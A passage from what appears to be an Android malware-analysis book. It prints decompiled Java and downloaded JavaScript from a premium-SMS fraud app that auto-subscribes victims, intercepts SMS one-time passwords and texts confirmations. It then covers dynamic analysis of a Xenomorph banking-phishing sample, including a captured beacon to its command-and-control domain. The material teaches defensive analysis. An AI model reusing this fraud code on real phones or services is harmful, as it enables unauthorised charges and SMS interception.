
nextThings();

...

}",

"gooycf": "https?://s.premium-be-ex.digi-place.com/\\?q.*"

}

]

}

],

"jxdkqb":

{}

}

Listing 3-28: The response contains JavaScript code to navigate through sign-up pages.

The gooycf field contains the affiliate URL to be loaded in the next step
of the fraud. The jxdkqb field contains a list of JavaScript instructions. These
use a JavaScript bridge object injected into the premium signup website and
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allow the malicious JavaScript code to interact with the malicious Java code
in xn3o.

NO T E In the original JSON response from the server, this JavaScript code is found on a sin
gle line. We have formatted it here to make it more readable. We’ve also abbreviated
it, as it is very long.

Secretly Signing Up for the Premium Service
After the affiliate URL and the JavaScript commands have been down
loaded, the malware opens the affiliate URL in a customized WebView.
The WebView’s customizations all involve intercepting loaded websites
and manipulating them, partly to circumvent antibot protections on the
signup page and partly to interact with the signup page to simulate a legiti
mate user.

In a mobile web browser, opening the affiliate URL shown in the com
mand response payload redirects to the site shown in Figure 33.

Figure 3-3: Belgian premium service
sign-up page

This is the first stage of the premium service subscription process, where
the user enters their phone number. In small text at the bottom, the cost of
this service is disclosed to be six euros per week, and there are instructions
for unsubscribing.

Setting Up the JavaScript Bridge
After the signup page has loaded, the malware starts to interact with it
through a JavaScript interface, a standard Android API in which an app can
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create a bridge between it and a website in a WebView object. A simple jadx
search for the Android API addJavascriptInterface shows where this happens
in xn3o (Listing 329).

public vgy7(Context context, vgy7.vgy7.vgy7.vgy7.mko0.vgy7 vgy7Var) {

this.f10vgy7 = new nji9(context);

...

WebSettings settings = this.f10vgy7.getSettings();

settings.setJavaScriptEnabled(true);

settings.setCacheMode(2);

settings.setMixedContentMode(0);

settings.setDomStorageEnabled(true);

settings.setUserAgentString(vgy7.vgy7.vgy7.vgy7.bhu8.zse4);

settings.setJavaScriptCanOpenWindowsAutomatically(true);

...

this.f10vgy7.addJavascriptInterface(

new zse4(), vgy7.vgy7.vgy7.vgy7.vgy7.rfv4);

this.f10vgy7.setWebChromeClient(new mko0());

this.f10vgy7.setWebViewClient(new cft6());

}

Listing 3-29: Setting up the JavaScript interface to manipulate the sign-up page

The first argument passed to addJavascriptInterface is a Java object that is
made accessible from websites loaded into the WebView. The second argu
ment is the name that the object should be given in JavaScript. JavaScript
code can use this name to refer to the object and call methods defined in
the object. In case of the malware, the name is simply JBridge.

The Java class zse4, which defines the JavaScript bridge object, has
only one method marked with the @JavascriptInterface decorator, the call

method. Only methods marked with this decorator are accessible from
JavaScript, so this is the only method the JavaScript part of the malware can
invoke. Inside the call method is a long chain of if...else statements, which
in malware often indicates a piece of code that interprets commands. Find
ing malware’s command interpreter is a jackpot for reverse engineers, as it
lets them see which commands are backed by what code. This helps reverse
engineers quickly understand large parts of malicious functionality.

Based on the arguments to call, we can already see that the first argu
ment is the command name and the second argument is the command
options. The long if...else chain checks the command name and invokes
different code based on the command to execute. A slice of that functional
ity is shown in Listing 330.

if (str.equals(vgy7.vgy7.vgy7.vgy7.vgy7.yhn6)) {

vgy7.this.vgy7(Integer.parseInt(str2), 0);

} else if (str.equals(vgy7.vgy7.vgy7.vgy7.vgy7.tgb5)) {

vgy7.this.vgy7(302, Integer.parseInt(str2));

} else if (str.equals(vgy7.vgy7.vgy7.vgy7.vgy7.qwe1)) {

vgy7.vgy7.vgy7.vgy7.bhu8.nji9(str2);
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} else if (str.equals(vgy7.vgy7.vgy7.vgy7.vgy7.ujm7)) {

vgy7.this.vgy7(302, 80014);

return vgy7.this.bhu8.bhu8(str2, 60007);

Listing 3-30: Processing JavaScript commands in the zse4 class

In this code, the str argument is compared to string values finish,
schedule, textTo, and popMsg, respectively. Following the methods called
from inside the if clauses reveals the code that backs these commands.

Interacting with the Java Bridge Object
Now that you understand the Java implementation of the JavaScript bridge
object, take a closer look at the downloaded JavaScript commands, shown in
Listing 331.

try {

window.JBridge.call('log', 'v1');

var phone_input = document.querySelector('#phone-input');

var phone_submit = document.querySelector('#phone-continue-button');

if (phone_input != null && phone_input.offsetHeight > 0) {

window.JBridge.call('log', ��'��phone');

phone_input.value = '0' + '214137764';

window.JBridge.call('log', '214137764');

var event = document.createEvent('HTMLEvents');

event.initEvent('input', true, true);

phone_input.dispatchEvent(event);

phone_submit.click();

nextThings();

} else {

window.JBridge.call('log', 'no phone input');

window.JBridge.call('finish', '306');

}

} catch (e) {

window.JBridge.call('log', 'click error:' + e);

window.JBridge.call('finish', '304');

}

Listing 3-31: JavaScript code is used to subscribe to the premium service.

First, the code tries to find the phone number input field on the sub
scription site using the querySelector method. Once it has discovered this,
the code inputs the device’s phone number into the field, uses JavaScript to
click the subscription button, and calls the method nextThings.

Listing 332 shows an excerpt of the code from nextThings, where many
lines invoke the call method of the bridge object. As the bridge object is de
fined by the Java class zse4, we can easily follow what these lines do. Analy
sis of zse4 confirms that the command names are true to their meaning:
the JavaScript code tries to intercept an incoming SMS (popMsg) and send a
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confirmation SMS to the number 9956 to complete the registration process
(textTo).

var numm = '9956';

var kkey = 'OK';

var sms1 = numm + '---' + kkey;

var sms11 = '+' + numm + '---' + kkey;

window.JBridge.call('log', 'sms1:' + sms1);

var andupin = window.JBridge.call('popMsg', '1::(\\\\d{3,6})');

if (andupin == '9956') {

window.JBridge.call('textTo', sms11);

window.JBridge.call('textTo', sms1);

window.JBridge.call('log', '��sms1');

window.JBridge.call('finish', '100');

} else {

window.JBridge.call('textTo', sms11);

window.JBridge.call('textTo', sms1);

window.JBridge.call('log', '��nopinsms1');

window.JBridge.call('finish', '305');

}

Listing 3-32: The payload connects Java and JavaScript code through JavaScript interface
JBridge.

One mystery remains: how are the JavaScript commands actually exe
cuted in the context of the subscription website? There’s a standard Android
API for that: WebView.evaluateJavascript, which allows an app to inject any
JavaScript code into a website.

Completing the Sign-up Process
At a different code location, the list vgy7Var.yhn6 is read and the intercepted
SMS messages and notifications are processed. A quick reference check in
jadx shows that the only place in the code where the list is read is in the bhu8

method.
This method, shown in Listing 333, takes a string argument of the form

number::string, which it splits at the double colon (::). The first part of this
argument is used as a regular expression to parse the SMS. The second part
contains the regular expression capture group number where the onetime
password is expected. The method also takes an integer argument used to
sleep the current thread if the expected SMS can’t be found. It likely does
this to wait for the SMS to arrive and then check for it again.

public String bhu8(String str, int i) {

String remove;

for (int i2 = 0; i2 < 107; i2++) {

if (this.yhn6.size() > 0 && (remove = this.yhn6.remove(0)) != null) {

String[] split = str.split("::");

Matcher matcher = Pattern.compile(split[1]).matcher(remove);
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if (matcher.find()) {

return matcher.group(Integer.parseInt(split[0]));

}

}

try {

Thread.sleep(i / 107);

} catch (InterruptedException e) {

}

}

return "";

}

Listing 3-33: Parsing for the one-time password

The bhu8 method is called from two places in xn3o: once with a hard
coded string argument built to parse SMS messages from certain Thai
subscription sites and once from the command handler for the popMsg

command. For the Belgian subscription site, the malware uses the second
option. We now know that the JavaScript code shown in Listing 334 and
previously downloaded from the commandandcontrol server is a simple
extractor for a number with three to six digits.

var andupin = window.JBridge.call('popMsg', '1::(\\\\d{3,6})');}

Listing 3-34: Parsing the one-time password for the Belgian sign-up page

What happens after the call to the popMsg method is noteworthy.
Listing 332 showed that, no matter the number extracted from the SMS,
the app continues the signup process by sending the message ok to the
phone number 9956. While we don’t have access to a real Belgian phone
to observe the complete signup process, we can assume that this premium
service doesn’t use onetime passwords at all. Maybe users can confirm their
subscription by simply texting ok to the service’s premium number.

The Mysterious Fourth Stage
Before we wrap up this chapter, let’s have a quick look at the mysterious
fourth stage that the malware seems to rarely use. Downloading the previ
ously mentioned fbhx1 and fbhx2 files and loading them in jadx shows that
they each have just a single package name: com.facebook.* or com.facebook2.*.

In a first step, we can try to determine the differences between fbhx1
and fbhx2. The command line version of jadx is helpful here, as we can just
decompile both files and then use standard programming tools to diff the
two generated source code folders. As the package names com.facebook.* and
com.facebook2.* are slightly different, we have to rename facebook2 to facebook
before standard code diffing tools work well on the output:

$ jadx fbhx1

$ jadx fbhx2

$ grep -rl facebook2 . | xargs sed -i 's/facebook2/facebook/g'
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$ mv fbhx2-jadx-output/sources/com/facebook2/

fbhx2-jadx-output/sources/com/facebook

$ diff --suppress-common-lines -r -y fbhx1-jadx-output/ fbhx2-jadx-output/

The output, omitted here, contains only some differences seemingly
caused by jadx decompilation quirks. It appears that the code of fbhx1 and
fbhx2 is functionally identical. Knowing this, let’s take a look at how the mal
ware interacts with these two files. Depending on which file is loaded, it ap
pears that xn3o interacts with fbhx in only one section of code. Listing 335
shows that the malware loads class j and calls methods a and c, respectively.

Class loadClass = new DexClassLoader(

file.getAbsolutePath(),

file2.getAbsolutePath(),

null,

context.getClassLoader()).loadClass(

i == 2 ? "com.facebook2.j" : "com.facebook.j");

loadClass.getMethod("a", String.class).invoke(null, str);

loadClass.getMethod("c", Context.class).invoke(null, context);

Listing 3-35: The malware loading the Facebook SDK

A quick web search for the many strings in j reveals that this class is orig
inally FacebookSdk. The a method is really setApplicationId and the c method is
really sdkInitialize.

Is the Facebook SDK legitimate, or has it been maliciously manipulated?
The answer to that question is unclear, as, to our knowledge, there are no
good public tools available to find maliciously modified SDKs in Android
apps. Even if such tools were available, you would have to first find the orig
inal, legitimate SDK to compare with the malware’s version. Luckily the
FacebookSdk class contains a version string that makes that part easier.

In the absence of useful tools, we’ll have to leave the answer to this ques
tion open. The Facebook SDK, as decompiled by jadx, contains more than
20,000 lines of code in more than 150 classes. That’s too much to manually
compare to the real Facebook SDK. As names in the fbhx files are mangled, a
simple diff tool will barely help, either.

Up Next
This completes our introduction to static Android malware analysis. You
learned about the tools you can use to statically reverse engineer malware
code, as well as many best practices for doing so.

For brevity, we omitted significant chunks of code from our explanation
of the malware’s core functionality. For example, we didn’t include the code
used to parse the HTML of the premium signup pages. Likewise, the mal
ware contains code to thwart several commercially available products that
premium services can license to protect their signup pages from bot activity;
we left this undescribed.
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Also not described is the malware’s complex messaging system. Dif
ferent parts of the malware, in both the Java and JavaScript components,
exchange messages using the default Android messaging system. These
messages help the malware organize and execute its next steps depending
on its current state and how far the signup process has progressed. Follow
ing this messaging system isn’t trivial due to its asynchronous nature and its
use of broadcasts and message queues.

While powerful, static analysis is only part of malware analysis and
needs to be supplemented with dynamic analysis. In the next chapter, we’ll
do just that, as we analyze a different malware sample using dynamic analysis
techniques.
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4
DYNAMIC ANALYS IS

This chapter uses a malware sample
from the Xenomorph phishing family,

first described by Dutch security company
ThreatFabric in March 2022, to introduce pop

ular dynamic analysis tools for Android and best prac
tices for using these tools. We cover the use of a device
emulator to run the malicious app, as well as the use
of tcpdump, Wireshark, and Frida to learn about the
app’s behavior.

In any serious reverse engineering context, analysts use static and
dynamic techniques in tandem to speed up malware analysis. Thus, toward
the end of this chapter, we’ll supplement our dynamic analysis with static
analysis in jadx. You’ll witness how to use dynamic analysis to gain a broad
understanding of a piece of malware functionality, then seek out additional
information through static analysis.

What Is Dynamic Code Analysis?
In program analysis and reverse engineering, the term dynamic analysis or
dynamic code analysis refers to the application of analysis techniques that



uncover properties of the program under observation by executing its code.
This contrasts with static analysis, described in the previous chapter, which
aims to discover properties of a program by analyzing its code and structure
without executing it.

Of course, running an app is not enough to understand what the app is
doing. Dynamic analysis involves a whole arsenal of tools that monitor and
interact with the app, including debuggers and software to intercept API
calls, dump memory, or inspect network traffic. Still other tools might im
plement ways to interact with the app’s GUI or automatically test the app’s
security properties for potential vulnerabilities. When run together, these
tools should build a picture of how an app interacts with a device. The more
tools you deploy to monitor the device, the more complete your understand
ing of the app becomes. However, deploying and maintaining all of these
tools can take considerable time and money.

Dynamic vs. Static Analysis
Dynamic and static analysis are complements. To get a full picture of an
app’s functionality, you’ll need to use both forms of analysis, and all pro
fessional malware analysis programs do so.

An example of the stark differences between static and dynamic analysis
is the amount of effort required to set them up. For static analysis, you only
have to load an app into jadx. On the other hand, dynamic analysis requires
first setting up a device (real or virtual) that can execute the program, then
making sure you have the ability to intercept and log system calls, network
traffic, filesystem changes, and any other device modifications that the app
could make. Finally, you have to execute the app and interact with it in the
hopes of triggering malicious functionality. This can be more difficult than
you might expect, as malware apps often deploy myriad antianalysis tricks
and refuse to run when they believe they are under analysis in a security re
searcher’s test environment.

Once you have overcome all of these obstacles and have an app running
on your test device, however, dynamic analysis shines. It is much faster to
make progress than with static analysis, as you can observe what the app is
doing and try to force its execution in any direction that interests you. Your
analysis system will log all sensitive API calls, network traffic, and environ
mental information and put the details into a report for you to study later.
There is no need to slog through all the app code, as with static analysis.

Another place where dynamic and static analysis complement each
other is in terms of code coverage, a measure of how much code an analy
sis technique can analyze. In static analysis, all of an app’s code is available
for analysis. In dynamic analysis, you can only consider the executed code.
The difference between the two can be huge. Even the best dynamic analy
sis runs of an app struggle to execute more than 5 to 10 percent of an app’s
code. The remaining 90 to 95 percent remains a mystery and can only be
uncovered by static analysis.
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The Android Studio Emulator
The first tool you’ll have to set up for dynamic analysis is the runtime envi
ronment in which to execute the app. You can choose to use either a real
Android device or an emulated one. Next, you must select the device type
and configuration and, if you’re using an emulator, whether to use the de
fault emulator that comes with the Android SDK or a thirdparty one.

Using an emulator is cheap and allows you to quickly reset your analysis
if something goes wrong. You can also get started easily. On the other hand,
most Android malware tries to detect whether it’s running in an emulator
and behaves differently if it thinks it’s under analysis, which can lead to you
wasting large amounts of time. If you use a real device, you’ll breeze past
these checks.

We’ll use the standard Android emulator that ships with the Android
Studio IDE and the Android SDK for the dynamic analysis in this chap
ter. We recommend installing Android Studio in its entirety, as it sets up
the necessary SDK packages for you and provides a nice user interface. In
stalling just the Android SDK works too, but it requires a lot more fiddling
around. You can download Android Studio at https://developer.android.com/
studio. Follow the instructions at https://developer.android.com/studio/install to
install it.

Creating a System Image
Before you can start the emulator, you must first create a system image that
the emulator can boot. The most comfortable way to do this is by using
Android Studio. Access the device manager configuration screen by select
ing Tools ▶ Device Manager. The device manager will walk you through
creating system images for the Android emulator.

Here, we use a system image configured for a Pixel XL device with
API 30, compiled for a 32bit x86 architecture. We chose this architecture
to make the emulator faster, as these images can use a real computer’s CPU
virtualization features. Choosing an ARM processor image is slower, as an
x86 host machine would have to emulate the ARM architecture. Of course,
if you’re running an ARMbased host computer, you should choose an ARM
based Android system image, for the same reason.

Starting the Emulator
While it’s possible to start the Android emulator from Android Studio, we
prefer to run it from the command line. This provides us with a whole range
of command line options that aren’t easily accessible from Android Studio.

Here’s a quick way to start the emulator:

$ emulator @Pixel_XL_API_30 -no-boot-anim

This command takes just two arguments. We use @ to pass the name of
the API 30 Pixel XL system image created in Android Studio in the previous
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step. The second argument, -no-boot-anim, disables the system boot anima
tion to boot up the system faster.

Resetting the Emulator
During your dynamic analysis, you’ll often want to return to a clean slate
by removing all artifacts created by previous runs of the malware from the
system. Otherwise, you might get confused about where certain malware
artifacts came from if you can’t tie them to anything that happened during
the most recent run.

The easiest way to get back to a clean slate is to wipe all data from the
Android emulator and reset it to its original state. The emulator provides
the handy -wipe-data command line argument for that:

$ emulator @Pixel_XL_API_30 -wipe-data -no-boot-anim

We highly recommend making liberal use of this argument between mal
ware runs.

Interacting with the Emulator
To interact with the emulated device, we will use the Android Debug Bridge
command line tool, adb, which ships with the Android SDK and can com
municate with devices over USB or TCP/IP. This tool supports a dozen or
so commands that you can learn more about by running adb --help. Through
out this chapter, we’ll use adb commands to install apps on the device, up
load files to it, and download files from it.

EMULATORS AND ANTI-ANALYSIS TECHNIQUES

Hundreds of dynamic anti-analysis techniques published on the internet
attempt to detect emulators. These techniques range from fairly simple to
quite sophisticated. For example, the default Android emulator does not
attempt to hide itself. Rather, it broadcasts that it’s an emulator through
system properties like its device model (set to goldfish) and its emulated
mobile carrier (set to Android). Malware can easily detect that it’s running on
this emulator by checking these system properties or by looking at the CPU
architecture of the device it’s running on. There are nearly no real x86
Android devices, so anytime an app is running on an x86 CPU, it’s probably
on an emulated device.

But apps don’t have to rely on these default values or hardware properties to
detect emulators. Some may check whether popular apps like Facebook are
installed on the device. Facebook is found on nearly all real devices but rarely
on emulators. Other apps check whether the user’s SMS and web browsing
history resemble a real user’s or are empty, like on a newly spun-up emulator.
In even more extreme cases, apps can run code to evaluate timing properties of
memory access. Emulated memory behaves differently at the hardware level
than real, physical memory.
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Many publicly documented anti-analysis techniques target the dynamic analysis
tools frequently installed on emulators. Usually, these techniques attempt to
detect files, processes, or other system properties that are only present when a
dynamic analysis tool is installed. In particular, malware can detect the
powerful Frida tool used in this chapter in various ways.

In a professional malware analysis lab, the cat-and-mouse game between apps
trying to detect dynamic analysis tools and lab developers trying to hide them is
one of the most time-consuming aspects of the profession. In the worst-case
scenario, malware developers can upload malware files that specifically target
your lab. These apps enumerate the system properties of your devices and send
the information back to the malware developers, who then build anti-analysis
techniques specifically for your equipment.

Dynamic Analysis Tools
Besides the Android emulator, we’ll use several thirdparty applications in
our analysis: tcpdump, to intercept and log network traffic from the emula
tor; Wireshark, to analyze that network traffic; and Frida, to manipulate the
malware we analyze.

tcpdump
The tcpdump command line tool is a network traffic logger and analyzer.
We’ll use it to capture all network traffic sent between the malware and its
commandandcontrol server so that we can inspect the data that the mal
ware collects and the commands it receives.

As tcpdump is an open source tool, you can download it from https://
tcpdump.org. The official website distributes source code only, so you’ll have
to compile it for the Android CPU architecture of your test device. Instruc
tions for compiling tcpdump can be found in the official GitHub repository,
at https://github.com/thetcpdumpgroup/tcpdump/blob/master/INSTALL.md.
Thirdparty websites also host precompiled tcpdump binaries for different
Android CPU architectures, but we don’t know how trustworthy these third
party sites are, so proceed with caution.

Next, install tcpdump on Android with adb by pushing the binary to the
device and marking it as executable:

$ adb push tcpdump /data/local/tmp

$ adb shell chmod +x /data/local/tmp/tcpdump

The adb push command transfers a file from the host computer to the
Android device, and adb shell executes shell commands on the device.
Please note that Android uses the MirBSD Korn Shell (mksh), which might
behave differently from the more popular Bash shell to which you are proba
bly accustomed.
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Wireshark
Wireshark is an open source network traffic analyzer. We’ll use it as a GUI
for the data captured by tcpdump. You can download it from its official web
site, https://wireshark.org. Because you’ll install Wireshark on your host sys
tem, not on the Android emulator, choose the installer for your host system.
For example, if you are running Windows, install Wireshark for Windows.

Frida
Frida is a dynamic instrumentation toolkit that you can use to analyze run
ning applications, log what they execute, and manipulate them at runtime.
It is open source and supports many different operating systems and exe
cutable file formats. The official way to install Frida is to use pip, a pack
age installer for the Python programming language, so as a prerequisite to
using Frida, you must first install the latest versions of Python 3 and pip
from https://python.org and https://pypi.org/project/pip/. Next, install Frida by
running pip install frida-tools.

Like adb, Frida uses a client/server architecture: a server binary
(frida-server) runs on the Android device, and a client (frida) runs on the
host machine to interact with the Android device. Download frida-server

from Frida’s GitHub page (https://github.com/frida/frida), which offers
precompiled binaries for many different operating systems and CPU archi
tectures, then install it on the Android device using adb and make the file
executable:

$ adb push frida-server /data/local/tmp

$ adb shell chmod +x /data/local/tmp/frida-server

The Malware Sample
Now that we’ve installed our dynamic analysis tools, we can begin our analy
sis. We’ll look at an Android malware sample called com.spike.old (v1, 2877).
This malware, which masquerades as a device cleaner utility, was never di
rectly found on Google Play. Rather, its distributors uploaded a separate
malware dropper app, vizeeva.fast.cleaner (v4, 8f50), which downloaded and
installed com.spike.old.

This phishing application of the Xenomorph family has some interest
ing properties that we will explore in this chapter. It targets banks across the
world, as well as some other apps whose login credentials have value to the
malware developers. When users interact with the legitimate bank apps, the
malware tries to phish for the user’s credentials by faking a login dialog that
looks like it comes from the legitimate app.

To begin our analysis, download the malware file from https://github
.com/androidmalwaremlbook. Then install the app on the emulator using
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the adb install command, which takes an APK file on the host machine,
uploads it to the Android device, and initiates the installation process:

$ adb install com.spike.old.apk

You can find an installed app’s private data in the /data/data/<package
name> directory. Immediately after you’ve installed the app, this directory
exists but is empty, as you can see by inspecting it with the commands
shown here:

$ adb root

restarting adbd as root

$ adb shell find /data/data/com.spike.old

/data/data/com.spike.old

/data/data/com.spike.old/cache

/data/data/com.spike.old/code_cache

The first command, adb root, restarts the adb daemon (adbd) on the de
vice with root privileges. You must do this to access the private files of apps
that are protected by Android’s process isolation security guarantees. The
output shows three default directories that were created during installation,
but no files yet. In future malware analysis, you can skip this directory check,
as the layout of app directories is always the same.

Detecting Malicious Functionality
Now we’ll execute the app while our dynamic analysis tools run in the back
ground to monitor what it’s doing. This workflow is the essence of dynamic
analysis, and the approach of this section mirrors the steps taken to find en
try points in Chapter 3. The difference is that instead of looking for struc
tural properties of the app (like permissions, APIs, or entry points), we’re
now observing different effects of the malware on its environment and using
these as clues for further analysis of the malware’s functionality. Concretely,
we will look at how the malware interacts with the emulator’s filesystem, its
network connections, and the system log.

To run the app, you can either start it through the app drawer in the
emulator, like a regular user, or use the command line with adb’s somewhat
obscure app starting command:

$ adb shell monkey -p com.spike.old 1

Originally developed for app testing, monkey is a helper program on
Android that simulates a real user interacting with the target app. Here, we
only use its capability to start a given app by name. The trailing 1 refers to
the number of user interface events we want monkey to simulate in the target
process. In our case, we only need to start the app once.

Now that the app is running, it should display the screen shown in
Figure 41.
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Figure 4-1: The first screen of the
malicious sample

As you can see, the app tries to convince the user to grant it access to
the powerful accessibility API. A click of the large circular button at the bot
tom opens the system dialog, where the user can give the app this permis
sion. For now, we won’t grant access to the accessibility permission or go
deeper into the application. Instead, we’ll move on to the next step of the
analysis.

Observing Filesystem Changes
Now that the app is running, we can take another look at its default file
directory. To make this output more useful, let’s refine the adb command
to dump the file types of all files in this directory. The quotation marks are
necessary due to the trailing semicolon:

$ adb shell "find /data/data/com.spike.old -type f -exec file {} \;"

./cache/WebView/Crashpad/settings.dat: data

./cache/WebView/Default/HTTP Cache/Code Cache/wasm/index: data

./cache/WebView/Default/HTTP Cache/Code Cache/wasm/index-dir/the-real-index: data

./cache/WebView/Default/HTTP Cache/Code Cache/js/index: data

./cache/WebView/Default/HTTP Cache/Code Cache/js/index-dir/the-real-index: data

./cache/WebView/font_unique_name_table.pb: data

./app_DynamicOptDex/hq.json: Zip archive data, requires at least v2.0 to extract

./app_DynamicOptDex/oat/hq.json.cur.prof: data

./shared_prefs/ring0.xml: ASCII text

./shared_prefs/WebViewChromiumPrefs.xml: ASCII text

./app_webview/variations_seed_new: empty
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./app_webview/webview_data.lock: data

./app_webview/variations_stamp: empty

./app_webview/Default/Web Data: data

./app_webview/Default/Web Data-journal: empty

./app_webview/Default/GPUCache/index: data

./app_webview/Default/GPUCache/index-dir/the-real-index: data

./app_webview/pref_store: ASCII text

The output shows the creation of a lot of new files. Many of these are
boilerplate files created by Android, but two stand out. The first is shared
_prefs/ring0.xml, which seems to be a joke name: ring zero is the highest
privilege level for execution on some computers. The other is app_Dynamic
OptDex/hq.json, which has a file extension that implies it is a text file. How
ever, the file command has indicated that it’s a ZIP file. We should investi
gate this mismatch between the declared file extension and the file’s
contents.

Downloading Files for Inspection
For further inspection of the files dumped by the app, we can download all
of them from the device to the host computer with adb pull. This command
can download both individual files and entire directories:

$ adb pull /data/data/com.spike.old

Now let’s perform a quick inspection of the two suspicious files:

$ cat com.spike.old/shared_prefs/ring0.xml

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>

<map>

<string name="ANCT">simpleyo5.tk</string>

<string name="NSTG">4</string>

<string name="AITT"></string>

<string name="AIEN">1</string>

</map>

$ xxd -l 48 com.spike.old/app_DynamicOptDex/hq.json

00000000: 504b 0304 1400 0808 0800 34a2 4854 0000 PK........4.HT..

00000010: 0000 0000 0000 0000 0000 0b00 0000 636c ..............cl

00000020: 6173 7365 732e 6465 782c d707 d8ce d5ff asses.dex,......

The ring0.xml file seems to contain configuration settings of unknown
meaning, but with an interesting domain name. The hq.json file seems to
contain DEX code, as indicated by the classes.dex string. Presumably, the mal
ware writes this file to disk and loads it.

At this point, we have leads into the malware that we could chase down.
What is the suspicious domain in the XML file? What do the other configu
ration options mean? Where does the DEX file come from, and what does it
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do? For now, we won’t pursue these leads. Instead, we’ll use other dynamic
analysis tools to learn more about the malware.

NO T E Apps can also access other parts of the filesystem. In particular, many apps write
data to Android’s shared external storage. For brevity, we have omitted a discussion
of the malware’s interaction with these storage areas, but a complete dynamic analy
sis should cover this.

Capturing Network Traffic
Another target of dynamic analysis is network traffic. We can capture and
analyze this traffic to find out where malware sends data to and where it re
ceives it from. This can provide important insights into the commands the
malware can execute and what sensitive data it may attempt to steal.

Before capturing network traffic, it’s important to reset the emulated
device to a clean state. Otherwise, the app may not repeat some network
requests that already happened during prior runs. What if, for example, the
DEX code file hq.json was downloaded from the internet? The app might not
download the file again, as it’s already present on disk. You’d be stumped if
you wanted to understand the origins of this DEX file.

Of course, after you wipe the device, you’ll need to again upload the
tcpdump file to the emulator and make it executable. This task can quickly
get tedious if you find yourself resetting the emulator regularly. We recom
mend putting all the emulator configuration commands into a shell script
that you can easily execute after wiping it.

To capture network data, we use the adb exec-out command to run the
tcpdump executable on the emulator. We then use adb exec-out to transfer bi
nary data from the emulator to the host system, piping it into Wireshark
for easy consumption. It’s worth noting that network traffic can only be
captured if adbd runs as root on the device. If you haven’t put adbd into root
mode after resetting the emulator, now is a good time to do that:

$ adb root

$ adb exec-out "/data/local/tmp/tcpdump -i any -U -w - 2>/dev/null" | wireshark -k -S -i -

We use the tcpdump command line option -i any to capture traffic from
any network interface. The combination of -U and -w makes sure that cap
tured packets are immediately written to the output file. The Wireshark
command line arguments -k -S immediately start capturing and displaying
packets. The -i - argument tells Wireshark to expect network packets to
come from stdin, which is where they get piped from adb.

Note that this command captures all network traffic from the device,
meaning that the captured data doesn’t necessarily come from the malware
under analysis. If other processes make network connections, their traffic
will be captured, too. On a freshly reset device, this is usually not a prob
lem, as barely any apps are running and the operating system makes very few
network connections. To get a better understanding of the default network
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connections on your Android device, you could capture the network traffic
without running the malware or any other app.

Analyzing Network Traffic
Once tcpdump and Wireshark are up and running, we can start looking at
the captured traffic. Figure 42 shows an example of a Wireshark session
with packets captured during a run of com.spike.old. The top third of the
Wireshark window shows a summary of all captured network packets. The
middle third shows parsed information about the selected HTTP network
packet. The lower third shows a hex dump of the selected packet’s payload.

Figure 4-2: Wireshark showing captured network traffic from the malicious app

Some of the information from Figure 42 is reproduced in Listing 41 to
make it more readable. In particular, we’ve chosen to show the structured
information about the HTTP packet.

Frame 22: 272 bytes on wire (2176 bits),

272 bytes captured (2176 bits) on interface -, id 0

Linux cooked capture v1

Internet Protocol Version 4, Src: 10.0.2.16, Dst: 23.184.48.153

Transmission Control Protocol, Src Port: 35938, Dst Port: 80, Seq: 7301,

Ack: 1, Len: 216

[6 Reassembled TCP Segments (7516 bytes): #17(1460), #18(1460),

#19(1460), #20(1460), #21(1460), #22(216)]

Hypertext Transfer Protocol

POST /ping HTTP/1.1\r\n
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Content-Type: application/json; charset=UTF-8\r\n

Content-Length: 7331\r\n

Host: simpleyo5.tk\r\n

Connection: Keep-Alive\r\n

Accept-Encoding: gzip\r\n

User-Agent: okhttp/4.2.1\r\n

\r\n

[Full request URI: http://simpleyo5.tk/ping]

[HTTP request 1/1]

[Response in frame: 29]

File Data: 7331 bytes

JavaScript Object Notation: application/json

0000 7b 22 68 61 73 68 22 3a 22 50 42 66 69 48 48 38 {"hash":"PBfiHH8

0010 37 4d 66 54 2b 34 4c 31 68 79 34 62 6c 49 30 6d 7MfT+4L1hy4blI0m

0020 5a 6a 2f 79 33 55 33 46 68 32 4a 78 6d 48 7a 43 Zj/y3U3Fh2JxmHzC

0030 48 72 67 4d 3d 22 2c 22 69 64 22 3a 22 54 33 6c HrgM=","id":"T3l

0040 50 46 72 45 42 42 54 55 51 46 52 64 62 32 33 43 PFrEBBTUQFRdb23C

0050 77 44 74 6a 79 50 37 4e 33 51 34 48 75 4d 68 4e wDtjyP7N3Q4HuMhN

0060 54 2b 55 38 6e 6a 6a 6b 69 39 59 73 70 4d 46 49 T+U8njjki9YspMFI

Listing 4-1: Details of a captured network connection in Wireshark

From this, we learn that the intercepted packet is an HTTP POST re
quest to http://simpleyo5.tk/ping, a URL on the same domain we previously
saw in the suspicious configuration file, ring0.xml. The abbreviated hex
dump at the bottom of the listing shows that the POST payload (the data
sent to the domain) appears to be JSONformatted text with keys hash and id

and what appear to be Base64encoded values.
Capturing network traffic proved to be a successful strategy. We’ve con

firmed that the malware uses the domain simpleyo5.tk, and that JSON and
Base64encoded data gets sent to the domain’s /ping endpoint. We also
know some of the plaintext JSON keys. We’ll add these insights to our col
lection of leads to pursue later.

Analyzing Logs with Logcat
One powerful source of information is Android’s systemwide log, which
the operating system and apps use to log debug data, error messages, and
other information. Careless malware developers who use the default logging
system to debug their apps may forget to remove log statements in their final
release and inadvertently give away a lot of information.

Luckily for us, com.spike.old is one of those apps. It makes heavy use of
logging, and the information it logs is so detailed that we’ve intentionally
placed this section after our discussions of network capture and filesystem
analysis to avoid giving away too much information.

The standard way to access the Android system log is to use the
logcat tool, for example, through the adb logcat command. By default,
logcat dumps the whole system logfile, which is usually many thousands
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of lines. To filter out irrelevant details, we can specify the process ID of the
app under observation, as shown here:

$ adb shell ps | grep com.spike.old

u0_a121 3711 303 1328880 194572 do_epoll_wait 0 S com.spike.old

$ adb logcat --pid=3711

We first query for the malware’s process ID (in our case, 3711) and then
tell logcat to only include lines with this ID. As we mentioned, the logcat

command returns way too much useful information to print here. However,
a sneak peek is shown in Listing 42. Yes, the app really dumps the encryp
tion parameters for its commandandcontrol communications to the system
log. Usually, you won’t get this lucky during malware analysis.

14:10:33.739 3711 3739 D pioneer_bridge_over_white_rabbits

(ApiVerifyRequestBody): key: 5f 9e 4a 92 b1 d8 c8 b9 8d b9 b7 f8 f8 80 0d 2e

14:10:33.739 3711 3739 D pioneer_bridge_over_white_rabbits (

ApiVerifyRequestBody): url: 73 69 6d 70 6c 65 79 6f 35 2e 74 6b 2f 70 69 6e 67

14:10:33.740 3711 3739 D pioneer_bridge_over_white_rabbits

(ApiVerifyRequestBody): uid: 64 dc 5b 59 e5 46 53 8f

Listing 4-2: The logcat output for com.spike.old

